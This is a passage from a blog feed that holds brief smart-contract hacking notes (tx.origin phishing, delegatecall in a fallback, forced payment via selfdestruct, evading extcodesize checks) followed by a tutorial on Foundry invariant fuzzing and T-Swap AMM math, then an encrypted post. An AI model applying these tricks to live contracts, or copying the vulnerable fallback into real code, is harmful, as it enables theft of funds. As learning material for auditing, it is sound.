<code>tx.origin</code> and <code>msg.sender</code> that allows phishing attacks.<ul><li>By convincing a victim to send funds to an attacker contract, the fallback function can be triggered - if a victim contract (e.g. victim’s bank) is then called, the <code>tx.origin</code> will be the victim and <code>msg.sender</code> will be the attacker.</li><li><code>tx.origin</code> should never be used to authenticate identity</li><li><code>tx.origin</code> should never be used to determine whose tokens to transfer</li></ul></li><li>Solidity has underflows and underflows. <ul><li>Safe math libraries are built-in after 0.6.0 (TODO: double check this)</li><li>Earlier solidity versions must import SafeMath</li></ul></li><li><code>delegatecall</code> is a way to call arbitrary functions in a contract or library.<ul><li>This should never be in a fallback function! </li><li>It allows the attacker to call whatever function they want in the contract specified.<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">fallback() external &#123;</span><br><span class="line">    (bool result,) = address(delegate).delegatecall(msg.data);</span><br><span class="line">    if (result) &#123;</span><br><span class="line">      this;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul></li><li>Even if a contract doesn’t mark their fallback as payable, there’s still a special way to send it money.<ul><li><code>selfdestruct(_address);</code> can be used by an attack contract to force a payment. <ul><li>In this case the attacker function would be <code>function attack(address _address) payable public</code></li></ul></li><li>It’s important not to count on the invariant <code>address(this).balance == 0</code> for any contract logic</li></ul></li><li>When doing type conversions (casting) it’s usually easier do it within an attacker contract.</li><li>Bitwise operations are painful but elegant, and will help with smart contract hacking.<ul><li>A ^ B = C then A ^ C = B</li></ul></li><li> <code>extcodesize(caller())</code> is the .text section (opcodes, code instructions) size of the caller    - You can hide the size of your attack contract by doing everything in the constructor</li><li>For ERC-20 tokens there’s two ways to transfer funds:<ol><li><code>function transfer(address _to, uint256 _value) public</code></li><li><code>function transferFrom(address _from, address _to, uint256 _value) public</code><ol><li>The <code>approve(address _toBeApproved, _value) public</code> function must be called first before <code>transferFrom(toBeApproved, 100000000)</code> will work</li></ol></li></ol></li></ol><h1 id="Invariants-amp-Fuzzing"><a href="#Invariants-amp-Fuzzing" class="headerlink" title="Invariants &amp; Fuzzing"></a>Invariants &amp; Fuzzing</h1><p>When I first started to learn blockchain and smart contract security in 2021 there wasn’t much learning curriculum freely available online. There were some CTFs like Ethernaut with helpful writeups, but they were mostly in the same test suite (hardhat) and lacked the general context of how this type of bug hunting theory applied to live protocols. Also, JavaScript is lame.</p><p>Jumping now to December of 2023, there’s so many freely available resources that you can even just watch videos. I don’t always have the discipline to keep digging into really weird complicated stuff like this but I’ve been watching videos and have been blown away by the quality of training resources provided by Patrick Collins and Owen Thurm. </p><p>My top blockchain security learning resource for 2024:</p><ul><li>Cyfrin Security Review Course<ul><li><a href="https://updraft.cyfrin.io/courses/security">https://updraft.cyfrin.io/courses/security</a></li></ul></li><li>Owen Thurm’s Advanced Web3 Security Course | Part 1 &amp; 2<ul><li><a href="https://www.youtube.com/watch?v=DRZogmD647U">https://www.youtube.com/watch?v=DRZogmD647U</a></li></ul></li></ul><p>I got to the TSwap section of the Cyfrin course and Patrick mentioned that he plans to redo the stateful fuzzing section because he thought he explained it poorly. I disagree, but I wanted to do a deep dive myself and maybe this can help others.</p><h1 id="Testing-and-Verification-Approaches"><a href="#Testing-and-Verification-Approaches" class="headerlink" title="Testing and Verification Approaches"></a>Testing and Verification Approaches</h1><p>First, know that <a href="https://github.com/Cyfrin/sc-exploits-minimized/tree/main/src/invariant-break">this page</a> from the Cyfrin course thoroughly describes these concepts much better.</p><p>When it comes to testing smart contracts, there’s basically 4 approaches that can be used to assert the validity of various states of a smart contract. From least to most confident, the scale is Stateless fuzzing -&gt; Open Stateful fuzzing -&gt; Handler Stateful fuzzing -&gt; Formal Verification.</p><ul><li><strong>Stateless Fuzzing:</strong><ul><li>Testing approach using random inputs.</li><li>A basic function fuzzer</li><li>Helps identify input related edge cases, but it “forgets” the state of the contract with every fuzz attempt.</li></ul></li><li><strong>Open Stateful Fuzzing:</strong><ul><li>Expands on Stateless fuzzing by considering the contract’s internal state.</li><li>Includes a <code>setUp</code> function to initiate things properly</li><li>Test inputs are generated and executed in a stateful manner.</li><li>Basically it will call multiple functions to try to break the invariant we define. It’ll try crazy stuff in crazy orders though, so you might need a super computer if there’s a lot to fuzz.</li></ul></li><li><strong>Handler Stateful Fuzzing:</strong><ul><li>Expands on Stateful fuzzing but reduces what the fuzzer will do.</li><li>Way more setup with foundry</li><li>Orchestrates interactions with the contract using foundry. <ul><li>Ex) Instead of modifying the contract we’re interacting with to include a <code>valueBefore</code> variable, we instead define it in our handler which avoids changing the original code.</li></ul></li><li>Defines which functions and inputs should be fuzzed, which helps reduce the scope of what the fuzzer will try. This is done through something called <code>selectors</code>. </li></ul></li><li><strong>Formal Verification:</strong><ul><li>Using math to prove the correctness of a smart contract.</li><li>Hard to do. <h1 id="Stateless-vs-Stateful-Fuzzing"><a href="#Stateless-vs-Stateful-Fuzzing" class="headerlink" title="Stateless vs Stateful Fuzzing"></a>Stateless vs Stateful Fuzzing</h1></li></ul></li></ul><p>To explain further:</p><ol><li>Stateless Fuzzing (AKA Fuzzing in Foundry natively, basic function fuzzer)<ul><li>Tries random data</li><li>Easier to instrument</li></ul></li><li>Stateful Fuzzing (Invariant testing)<ul><li>Tries random data in random order</li><li>Harder to instrument</li></ul></li></ol><p>With these pros and cons in mind, the Cyfrin course explains how the famous security researcher  “Tincho” found a critical vulnerability in the Euler protocol by creating and instrumenting a stateful test suite, and used it to identify a codepath violating the invariant, or the expected results of the protocol.</p><h2 id="Codebase-Review"><a href="#Codebase-Review" class="headerlink" title="Codebase Review"></a>Codebase Review</h2><p>Let’s look at this source code example first.</p><ul><li><a href="https://github.com/Cyfrin/sc-exploits-minimized/tree/main/src/invariant-break">https://github.com/Cyfrin/sc-exploits-minimized/tree/main/src/invariant-break</a></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">src/invariant-break/</span><br><span class="line"></span><br><span class="line">├── HandlerStatefulFuzzCatches.sol</span><br><span class="line">├── StatefulFuzzCatches.sol</span><br></pre></td></tr></table></figure><p>Looking at <code>HandlerStatefulFuzzCatches.sol</code> appears to be a typical ERC20 with a <code>depositToken</code> and <code>withdrawToken</code> function implemented</p><p><code>StatefulFuzzCatches.sol</code>, on the other hand, is a contract that does some math and storage.<br>This is the codepath that we want the fuzzer to eventually hit. </p><h2 id="The-Handler"><a href="#The-Handler" class="headerlink" title="The Handler"></a>The Handler</h2><p>For stateful invariant testing there’s basically two pieces we’re going to use to instrument our protocols:</p><ol><li>Handler</li><li>Target contract (aka the Invariant)</li></ol><p>They’re both kinda instrumenting the code, but in different ways, and they connect together. This might seem confusing but this part is actually pretty straight forward. The part where you lose everyone isn’t really the solidity background and setup, it’s more around understanding how to apply financial math theory to these types of stateful tests.</p><p>The handler you can think of as mostly boilerplate code. It’s a way to overload functionality without modifying the src code. We’ll use both <code>1</code> and <code>2</code> (above) as templates and modify them when creating future invariant tests, but <code>1</code> will require less modification.</p><ul><li><a href="https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/Handler.t.sol">https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/Handler.t.sol</a></li></ul><p>For our handler example, we’re instrumenting a protocol that has two pools: </p><ol><li>YieldERC20<ul><li>This is an example of a “weird ERC20”, which you can search on <code>solodit</code>, which is an attack surface that we can hunt for in the future. Lots of protocols have strange issues within contracts that inherit ERC20. </li></ul></li><li>MockUSDC<ul><li>People deposit USDC as collateral, they then mint and receive however many YieldERC20 tokens in exchange, and then they can use them to withdraw. </li></ul></li></ol><p>Again, this is a pretty typical ERC20 two LP protocol, so in the future if we’re writing our own handler for another ERC20 contract, this will only require a few modifications here and there.</p><h2 id="How-not-to-write-an-invariant-test"><a href="#How-not-to-write-an-invariant-test" class="headerlink" title="How not to write an invariant test"></a>How not to write an invariant test</h2><p>For this first example I want to show how not to write these invariant tests.<br>In this <code>InvariantFail.t.sol</code> example let’s first talk about the <code>statefulFuzz_testInvariantBreakFail</code> lines that are commented, which is a function that, since this is a <code>stateful</code> test, will be fuzzed in random order in conjunction with the other <code>testInvariantBreakHard</code> function.</p><ul><li><a href="https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/InvariantFail.t.sol">https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/InvariantFail.t.sol</a></li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// // Well this doesn&#x27;t work...</span></span><br><span class="line"><span class="comment">// // cuz there are too many possible inputs! We need to narrow down the inputs with a handler</span></span><br><span class="line"><span class="comment">// // Uncomment this to run it because it&#x27;ll break tests</span></span><br><span class="line"><span class="comment">// function statefulFuzz_testInvariantBreakFail() public &#123;</span></span><br><span class="line"><span class="comment">//     vm.startPrank(owner);</span></span><br><span class="line"><span class="comment">//     handlerStatefulFuzzCatches.withdrawToken(mockUSDC);</span></span><br><span class="line"><span class="comment">//     handlerStatefulFuzzCatches.withdrawToken(yeildERC20);</span></span><br><span class="line"><span class="comment">//     vm.stopPrank();</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//     assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == 0);</span></span><br><span class="line"><span class="comment">//     assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == 0);</span></span><br><span class="line"><span class="comment">//     assert(mockUSDC.balanceOf(owner) == startingAmount);</span></span><br><span class="line"><span class="comment">//     assert(yeildERC20.balanceOf(owner) == startingAmount);</span></span><br><span class="line"><span class="comment">// &#125;</span></span><br></pre></td></tr></table></figure><p>and the second part</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Our fuzz test won&#x27;t catch it...</span></span><br><span class="line"><span class="comment">// All our withdraws should work</span></span><br><span class="line"><span class="comment">// And our fuzz test doesn&#x27;t catch it... Hmm....abi</span></span><br><span class="line"><span class="comment">// Let&#x27;s try stateful fuzzing</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">testInvariantBreakHard</span>(<span class="params">uint256 randomAmount</span>) <span class="title">public</span> </span>&#123;</span><br><span class="line">vm.assume(randomAmount &lt; startingAmount);</span><br><span class="line">vm.startPrank(owner);</span><br><span class="line"><span class="comment">// Deposit some yeildERC20</span></span><br><span class="line">yeildERC20.approve(address(handlerStatefulFuzzCatches), randomAmount);</span><br><span class="line">handlerStatefulFuzzCatches.depositToken(yeildERC20, randomAmount);</span><br><span class="line"><span class="comment">// Withdraw some yeildERC20</span></span><br><span class="line">handlerStatefulFuzzCatches.withdrawToken(yeildERC20);</span><br><span class="line"><span class="comment">// Deposit some mockUSDC</span></span><br><span class="line">mockUSDC.approve(address(handlerStatefulFuzzCatches), randomAmount);</span><br><span class="line">handlerStatefulFuzzCatches.depositToken(mockUSDC, randomAmount);</span><br><span class="line"><span class="comment">// Withdraw some mockUSDC</span></span><br><span class="line">handlerStatefulFuzzCatches.withdrawToken(mockUSDC);</span><br><span class="line">vm.stopPrank();</span><br><span class="line"></span><br><span class="line">assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == <span class="number">0</span>);</span><br><span class="line">assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == <span class="number">0</span>);</span><br><span class="line">assert(mockUSDC.balanceOf(owner) == startingAmount);</span><br><span class="line">assert(yeildERC20.balanceOf(owner) == startingAmount);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>By the time this test runs we’ve already done the basic contract setup with foundry cheat codes.<br>These functions are following the right general idea, but there’s way too many possible inputs and codepaths that the fuzzer could instrument. This could maybe work with a supercomputer, but we don’t have that, so we’re going to use Foundry’s <code>targetSelector</code> and <code>FuzzSelector</code> to instrument our testing with more granularity. We want randomness, but only regarding parameters and functions that can be defined using these selectors.</p><h2 id="Invariant-Testing-the-Correct-Way"><a href="#Invariant-Testing-the-Correct-Way" class="headerlink" title="Invariant Testing the Correct Way"></a>Invariant Testing the Correct Way</h2><p>There’s these things called <code>selectors</code>. It’s just an arbitrary solidity design pattern that we use as a template/example in the future. This, with a proper setup, is a better way to instrument the contract, like telling it “We only care about these 2 supported tokens, and these are the 3 functions we want used for fuzzing”:</p><ul><li><a href="https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/Invariant.t.sol">https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/Invariant.t.sol</a></li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">setUp</span>(<span class="params"></span>) <span class="title">public</span> </span>&#123;</span><br><span class="line">vm.startPrank(owner);</span><br><span class="line"><span class="comment">// Give our owner 1M tokens each</span></span><br><span class="line">yeildERC20 = <span class="keyword">new</span> YeildERC20();</span><br><span class="line">startingAmount = yeildERC20.INITIAL_SUPPLY();</span><br><span class="line">mockUSDC = <span class="keyword">new</span> MockUSDC();</span><br><span class="line">mockUSDC.mint(owner, startingAmount);</span><br><span class="line"></span><br><span class="line">supportedTokens.push(mockUSDC);</span><br><span class="line">supportedTokens.push(yeildERC20);</span><br><span class="line">handlerStatefulFuzzCatches = <span class="keyword">new</span> HandlerStatefulFuzzCatches(supportedTokens);</span><br><span class="line">vm.stopPrank();</span><br><span class="line"></span><br><span class="line">handler = <span class="keyword">new</span> Handler(handlerStatefulFuzzCatches, yeildERC20, mockUSDC);</span><br><span class="line"></span><br><span class="line">bytes4[] memory selectors = <span class="keyword">new</span> bytes4[](<span class="number">3</span>);</span><br><span class="line">selectors[<span class="number">0</span>] = handler.depositYeildERC20.selector;</span><br><span class="line">selectors[<span class="number">1</span>] = handler.withdrawYeildERC20.selector;</span><br><span class="line">selectors[<span class="number">2</span>] = handler.withdrawMockUSDC.selector;</span><br><span class="line"></span><br><span class="line">targetSelector(FuzzSelector(&#123;<span class="attr">addr</span>: address(handler), <span class="attr">selectors</span>: selectors&#125;));</span><br><span class="line">targetContract(address(handler));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// // THIS however, catches our bug!!!</span></span><br><span class="line"><span class="comment">// function statefulFuzz_testInvariantBreakHandler() public &#123;</span></span><br><span class="line"><span class="comment">//     vm.startPrank(owner);</span></span><br><span class="line"><span class="comment">//     handlerStatefulFuzzCatches.withdrawToken(mockUSDC);</span></span><br><span class="line"><span class="comment">//     handlerStatefulFuzzCatches.withdrawToken(yeildERC20);</span></span><br><span class="line"><span class="comment">//     vm.stopPrank();</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//     assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == 0);</span></span><br><span class="line"><span class="comment">//     assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == 0);</span></span><br><span class="line"><span class="comment">//     assert(mockUSDC.balanceOf(owner) == startingAmount);</span></span><br><span class="line"><span class="comment">//     assert(yeildERC20.balanceOf(owner) == startingAmount);</span></span><br><span class="line"><span class="comment">// &#125;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The commented function <code>statefulFuzz_testInvariantBreakHandler()</code> above is the solution which breaks the invariant. I’ll explain what these functions do:</p><ul><li>setUp()<ul><li>Give our owner 1M tokens<ul><li>Instantiate new YieldERC20 &amp; MockUSDC contracts</li><li>Mint 1M tokens to the owner</li></ul></li><li>Connect the handler and selectors<ul><li>Instantiate a new handler, passing the supported tokens.</li><li>Define the selectors to be the handler’s supported tokens and then call <code>targetContract</code> and <code>targetSelector</code> to connect the components together</li><li>It’s worth noting that <code>depositYeildERC20</code>, <code>withdrawYeildERC20</code>, <code>withdrawMockUSDC</code> are all defined within <code>test/Handler.t.sol</code> which is some more foundry stuff instrumenting the basic deposit/withdraw functionality (which includes calls to prank, approve etc).</li></ul></li></ul></li><li>statefulFuzz_testInvariantBreakHandler()<ul><li>Since we’ve connected the <code>mockUSDC</code> and <code>yieldERC20</code> objects to our test suite, we can pass them around and kinda pretend that their state is indeterminate. Ultimately we want to break the invariant, which in this case can be defined as the following statements:<ul><li>“Once the owner withdraws all their USDC and YieldERC20 tokens, their balances should be zero”</li><li>“Additionally, after, everything should be in its original state (the owner’s tokens should have the original starting amounts)”.</li><li>We then use an assert to define these invariants, and the test suite will do its magic to try to break those assertions.</li></ul></li></ul></li></ul><h1 id="T-Swap"><a href="#T-Swap" class="headerlink" title="T-Swap"></a>T-Swap</h1><p>As explained in the Cyfrin course, “T-Swap is known as an <a href="https://chain.link/education-hub/what-is-an-automated-market-maker-amm">Automated Market Maker (AMM)</a> because it doesn’t use a normal “order book” style exchange, instead it uses “Pools” of an asset. It is similar to Uniswap.”</p><p>The T-Swap protocol is explained in detail within this <a href="https://github.com/Cyfrin/5-t-swap-audit/tree/audit-data">README</a>.</p><h2 id="Invariant"><a href="#Invariant" class="headerlink" title="Invariant"></a>Invariant</h2><p>With T-Swap, this is a good example because the invariant can be defined with math:</p><ul><li>x = Token Balance X</li><li>y = Token Balance Y</li><li>k = The constant ratio between X &amp; Y</li></ul><p>This looks kinda insane, and it is, but we have everything that we need (x, y, &amp; k) to define the invariants:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">y = Token Balance Y</span><br><span class="line">x = Token Balance X</span><br><span class="line">x * y = k</span><br><span class="line">x * y = (x + ∆x) * (y − ∆y)</span><br><span class="line">∆x = Change of token balance X</span><br><span class="line">∆y = Change of token balance Y</span><br><span class="line">β = (∆y / y)</span><br><span class="line">α = (∆x / x)</span><br><span class="line"></span><br><span class="line">Final invariant equation without fees:</span><br><span class="line">∆x = (β/(<span class="number">1</span>-β)) * x</span><br><span class="line">∆y = (α/(<span class="number">1</span>+α)) * y</span><br><span class="line"></span><br><span class="line">Invariant <span class="keyword">with</span> fees</span><br><span class="line">ρ = fee (between <span class="number">0</span> &amp; <span class="number">1</span>, aka a percentage)</span><br><span class="line">γ = (<span class="number">1</span> - p) (pronounced gamma)</span><br><span class="line">∆x = (β/(<span class="number">1</span>-β)) * (<span class="number">1</span>/γ) * x</span><br><span class="line">∆y = (αγ/<span class="number">1</span>+αγ) * y</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;Pentesting-Strategy&quot;&gt;&lt;a href=&quot;#Pentesting-Strategy&quot; class=&quot;headerlink&quot; title=&quot;Pentesting Strategy&quot;&gt;&lt;/a&gt;Pentesting Strategy&lt;/h3&gt;&lt;p&gt;Wh</summary>
      
    
    
    
    
    <category term="Ethernaut" scheme="https://blindcyber.gitlab.io/tags/Ethernaut/"/>
    
    <category term="Ethereum" scheme="https://blindcyber.gitlab.io/tags/Ethereum/"/>
    
    <category term="Smart Contracts" scheme="https://blindcyber.gitlab.io/tags/Smart-Contracts/"/>
    
  </entry>
  
  <entry>
    <title>Russian Threat Actor Attribution</title>
    <link href="https://blindcyber.gitlab.io/2022/03/03/Russian-Threat-Actor-Attribution/"/>
    <id>https://blindcyber.gitlab.io/2022/03/03/Russian-Threat-Actor-Attribution/</id>
    <published>2022-03-03T21:05:52.000Z</published>
    <updated>2026-07-08T17:01:07.094Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Wrong password." data-whm="The decrypted content cannot be verified.">  <script id="hbeData" type="hbeData" data-hmacdigest="d6539b211ca95a0e0d7a0b90f04d9afb9446c2cfc7056ee05fef98cd7fdc1aae">fce0ec79e6325ffce8389e2584f3adb692c8186093c1083a2b4bba83e60cfe71cb9c4b49ab77c8cd7ac162014ed9f2b212f37f64f07b304ce846642fb04ab33d8f346b5753e3ea3872fa46a7aabad26da3c4a00482c104b51172d3f2874c0079515062ba88cc055ba5c1329b666cec723cf78319a5f79a91cc89e43878d9552f16d33e9f14a83699e0ebebfd0211803610faa0dc09bb2afce9724b193445fba8ad92ba7f6283b3987e3a696ac7431e8a39ec2eb317d1af154804debcb21671a510b42c42d45ae5d8740b316560824e8bc3cffefb1c79d294f8dd1313a1cf239fb0c95d8d200471a228c8b2986d84cb66140f816df219e72146f3f02a75ea5853aec80406bcff01c47503abf3f9763d77a1e68253010a482e68afe7369d3ef4d75b32633817835afb37071614eb658757f79e48305949fdfe951e4538d7fe84ff42d710825b7d0c8572943cb9ef904108c3495ec4230a9250fb60a4977f24242ff335414c070c2f0aaa4dcf35193551b9e65bb5168e811b3fc057fa7588f29ceaf8219302960b7828f47a872bf72201cc2a8193f18e296c8ec316658ac054a3fe2fb22f1ce6926672296aaf9c091678cdb0c5cb3bb3e221c91cedbe45021ebae34c9d4e4ad7e723ca2c895927c90f60281d86ed7f84c9512af84c53b096c717a35f67e23b21ae8d6ff47a1374df360c2bdacc083f489c523b4eaedbca97299056534ecd372848b8a4ffe03dbf27f3b3a12cc5aaf0aba5e0f2d37d411398d07b700f12115f6241c79ef64f359c22c9a67463ddb68d7d56ec453e707644ae222588a2afe2508b58c3cbc0e4b0b87cf924cb652f95de27cdcedce9c2d3cadc0be8a3e2c5306c9b5cca8b7f7a092c546252be4ad11df1d9549e27260101c1d414ad04b76025e56abbacd0ad95b1ce50d1501b29ed829d19ce223b4b4ed795006f3831f28dcc324c5904c5b0a750a24d1e510b31f0d99de54fb7273e5ffd0b76d99559feb9328f8a0a1370e9b7e92c95c0a051e5d8173035bde32d4a71c2db2d801361b3be3986b63401543aeaf473325d33b11605420fefbf9c3a785f5cae33a4266c30ba1826431df59146ce2ec414cfc75aca91cadd4a1c03334db301cab44ee7eef78953384c309aef9c3283b51df4ba0d737e46c82e4616515c35d78a41304023a80d73c26df402a3d066d05a6334c0d5368a91740c1370ecf45f0d1acedc7abfddebc5886fb470cfcc42ec410dfd9b0f1880d06d70a55f547d57b413434f6b28ab7c70add2d47ca99122e4ea7ca7e415decfaa89d6e1e649cfb56d6fc394ec58f3e2a9b887fca49daf07e82560e457f505f40a6dadec0aea30909b7934793ab935469446f8603c1fddab79fa991f9cfd4afb5327b5c9ff9c3682cd257f992b41196ebf4dc041f97e7e4bd39cc15768992ae655cce2620cef4e4279d91c5635a15e67c2d3fddfe48a355a96534534fd7b6c1c1a1bbb006474b1828332eda50ba8aca7de498b67f4886fa03e4e9e502ae472b1dd45c78734a444fad4335b37f1b36baef8709b6ab44ababfdfbf445386bd218ed989c3f1ab2669e1d2ddc79115294c000bb2f4064bed8f86ba150775e02bb75831336294dee1c651ad0a88bf7e4d502ed79023af2607c27f8675b8c050489f3e8a989e6c2f9ce6a782fd4d9dbee20fb13a9c17525280b5a7ac2555c38b0366eb9acd3582fe5d032f1b9a86ceca0a889e56870df9ae33c8e6e0ff427379d39e1b02fb0a973486487fb39963977296083085d28af38466da3996e07a618d4c043af58bc01d8e5cf9fc9f99dbc200e9a6676f96a9db3b14849864333057b9f0f70a7d5c255a6c1b1a860c6ff83d5a5ad3b0d012163836dfd4236242ffd3c8698099f1e0f2b64be17245ecb85e7c16e4d27db6bebe541cd1194c31de1af6f23200483fdb61a7357590e9aa93fc03b004b84372d9bfcece0f747ec0f2a4d2c8f1566e1307d3b864417fecb8aa8b5b7b358a053f830f577467aabf6f1eff971adf8abedbe35b31ad1079dd8bd1c0f7e25bdda4c2026b58bdf1c263a2026a955f309fd6a006a805fdfe4c5c6d49ee48033cb20c39e3be08d175a51280138961ae80998b1a2ac6ca3608d83edb805e09a5621248c274be92b3a4ee5d4862e748db69e857c93b3cbb2bbfa950c94deaeec57372b526c4b8e01ea78e1dac76708204a778028967c8760fdca13a4f80d774cc3764fc091b0111e497cd6f6f0620b37ac54cdeb7dedcee68bb2d261d5e698856ea66fad2054a9ad554e14f04c96dc5c4794735a951547f53035fa9351d07285791f3d48f414c4c67afa29bad7e7cdeabe28ef84fe2093dc3b6310b0f61ad48cbf79985c1e5b31666126b7ca0218a27c9288bcafa94782483c11d6236f9616120321ca5aa01b53ed0d873cde8610d83dbf98b525f4a12841711cd5a33bb744b007952562a7d93a473620530e03aa9b9590a1e1fcaa10465b868bd51567e04046f8533c357675f4e747d3db0675c2423be6b920b077a6467d5cddf14eb61fbdf49c6ce6a026a9979a6dd169bd800403f98cd8d478dca2795ef855d743d11933651871db1b8ff770b8ae79c75db67ec3039622ec348907842609566e05aedcd8c0bef814f5794c2139d78a4a2b393684116b262f8f5c323cd9633f6ca7654fb42d41bd763fa5bb2740c1f4c1a0a73e07ffb0218b1b7b616c71be7d82ffa87cdbc69c545f53bfe7ee3ceb44a07747a6848f910c210819a51a45bcb3a278db66369cce2673375646eb8789633d8f5ea23d043819761a3a25f265b88def0253b17c678d2023f132bf423b518808d707a54a89904938aff41f60f4dda5357a5458555a5a028a822d7ed939ceba8953a9bbf2bb27c633506f3ff4cc25baae2f73e1cd555d8a877c6249a2d5d96b785f518f484161761de311bcae90a785fefd373138a82589c61a724fb65631f25577d1eb2901ba03cd0018de7d7a21f0f2cf7d0665d03676eb2f20f7ae191042631e07e636f67b60d17dd2ea40faf17dd25cd8f5299698fa885919c1f1adfec8503cb334f5862c49ea6e1b656b20f10483ea7d933b255ede985c6075692972a2205dc459770e500294da68efafcb470297b24e268624530860ffb52d3868c5a3292dedd6f2ca154daea81ab719bc98796fef1f418a607412649313db26ffd95001554dc3bb925cdc11df0b60124e677d7aae644a10f775762cdf2bdc3be4d07bf06688f5ca583eff3f25d55faece0f83a7a7754a652a7548553fcfbf47c4c00b98326dd5b4aefec28ed3bc99c557382c80e8a2243fc328953150183d18fc856bed69c718faf71c5bf12ff5cf53851be67f8e3eee212f8bf3cc4b5db9f1fe3b40f2a7f7d0924f2945c5b3f6479354d57b139f0644f899fbc4f527a9b2efbf884958af99b9e9c5d759e9b1e7499b73ffb97259c1e94d4f253c6da8f95b547cee5ce417145e42f2abc7045ba222eb80b7343c23bb0c2536c2f52de97455f2836c5bb0945bd90fce26b699e6ccf606878a629e5f3428af253dba1d6508f0a2b348c2db1a1abf210d047bc72abf88406a649af26d24373a9505e744a7a604b9e6c0abbccead1f9ddf510d9fc38164f97d3b0e121b31bfbb59dc2afd4d79d415ca1003aee2f848de64823c55a5b7479b90ad4480a311378d82e0408f9c205c001777e3363a3470db0271a06a04e395b29015c159bb53a4354a321da40f88c1fa32021e436f438949a0bc0489d72f57dcffbeb62582b1a25679e9342409a8ee4b8cde9406b23a178c1e9bf5b859b3ee74ac4c92219e1af84ffc59dbfeccdca3f09cc84182db2491622dc0a9d1875d6e884ad9be53bc22e5b1780e34213aca26cb8a066b46ad1c01eed010860b2de4016a1456a8125bc55574a6897b7cb4597e18af0cefcf71ee03612010583b31c8b120697590210cdd428ae3b05d6533ec6889c4f1bd15659dc726343cabb206a67242863709824e34c70d93e0b51ab38ef0bf09a5d1d2d39a5edc44980cc63e0e2b3fbd93c749e4a9fe89be615686448afa07b740a6ac1b7952ecd2ba744e88a24169c074e0f4f539c764125ad8e7ad56a7c3ee562c3a25571abbc3591b6e39e68a93915bf8c86d171ac760b1bc2bc324309725011d69ecd853b737da226bb7f94441afe559bca1fcd84dd546500277a0c956a6d51a80f8ca7bb3d4569c894892777d6e9efbd12db8127653bad90b3d14a2c51d8e90d7c022506cca767e5d8c73060b0f87cb9224b2317575128c0bc207148e40ce751f3c4d2e5bb6a92f5b2b5dadddcee19cfebf432e176c70e358c1f243ac7